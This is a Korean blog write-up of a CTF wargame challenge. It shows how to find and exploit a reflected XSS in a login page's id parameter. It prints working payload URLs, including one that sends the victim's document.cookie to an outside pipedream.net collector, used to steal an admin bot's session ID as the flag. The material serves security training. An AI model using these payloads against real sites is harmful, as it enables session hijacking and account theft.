본문 바로가기

WarGame/SegFault

XSS 6

문제 정보

1. XSS 포인트

제공된 호스트의 로그인 페이지인 "xss_7/login.html" 페이지에서

"/xss_7/login.php" 페이지에 요청을 보낼 때,

id 파라미터에 기존에 존재하는 ID의 비밀번호를 틀렸거나,

없는 ID로 로그인을 시도하면

id 파라미터에 입력된 데이터가 알림창에 그대로 출력되는 모습을 볼 수 있다.

같은 로그인을 요청을 GET 요청으로 바꾸어 시도해 보니,

post 요청과 같은 응답을 받을 수 있었다.

(* Reflected XSS 포인트 확인)

2. 특수문자 필터링 확인하기

XSS 공격에 사용할 수 있는 특수문자를 확인해 보니,

입력한 모든 특수문자가 필터링되지 않는 모습을 볼 수 있다.

3. 스크립트 삽입

id 파라미터를 이용해

alert 구문을 닫고, 이후 출력되는 문자열을 주석 처리했다.

해당 URL로 접근해 보면

의도한 데로 알림창이 뜨는 것을 확인할 수 있다.

이후 alert 구문을 추가해 POC 코드를 작성한 뒤,

http://ctf.segfaulthub.com:4343/xss_7/login.php?id=XSS_test+]');alert(1)//&pw=1234

완성된 공격 URL에 접근해 보니,

"[ XSS_test ]" 알림창이 뜬 후에

악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.

4. 예상 피해

  • 사용자 쿠키 탈취 : document.cookie
  • 사용자 개인정보 탈취 : keylogger
  • 악성코드 다운 & 실행
  • 피싱 사이트 강제 이동 : location.href

만약 공격자가 POC 코드 대신에

위와 같은 악성 스크립트를 작성한 다음,

해당 url을 일반 사용자에게 접근하도록 유도한다면

일반 사용자의 웹 브라우저에서 공격 스크립트가 동작해

피해가 발생할 것으로 보인다.

5. 쿠키 탈취

// var i = new Image(); i.src = "공격자 주소/?cookie="%2Bdocument.cookie;
location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;

쿠키를 탈취하는 스크립트를 작성한 뒤,

id=xss_test ]');location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;//
&pw=dummy

id 파라미터에 작성한 스크립트를 넣어 전달해 보니,

응답에서 alert 구문이 잘 닫히고, 쿠키와 함께 공격자 페이지로 이동하는 스크립트가 잘 삽입된 모습을 볼 수 있다.

http://ctf.segfaulthub.com:4343/xss_7/login.php?
id=xss_test+]');location.href="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;//
&pw=dummy

완성된 URL로 접근 시,

[ xss_test ] 알람창이 뜬 이후에

사용자의 쿠키 값을 가지고

공격자의 서버로 접속한 것을 볼 수 있다.

그리고 공격자 서버에서는

접근한 사용자의 세션 ID를 확인할 수 있었다.

완성된 공격 URL을

관리자 봇이 접근할 수 있도록 전달해 보니,

공격자의 서버에서

피해자인 관리자의 세션 ID

즉, FLAG를 얻을 수 있었다.

'WarGame > SegFault' 카테고리의 다른 글

Basic Script Prac  (0) 2024.06.29
XSS Challenge  (1) 2024.06.24
XSS 5  (0) 2024.06.16
XSS 4  (0) 2024.06.14
XSS 3  (1) 2024.06.14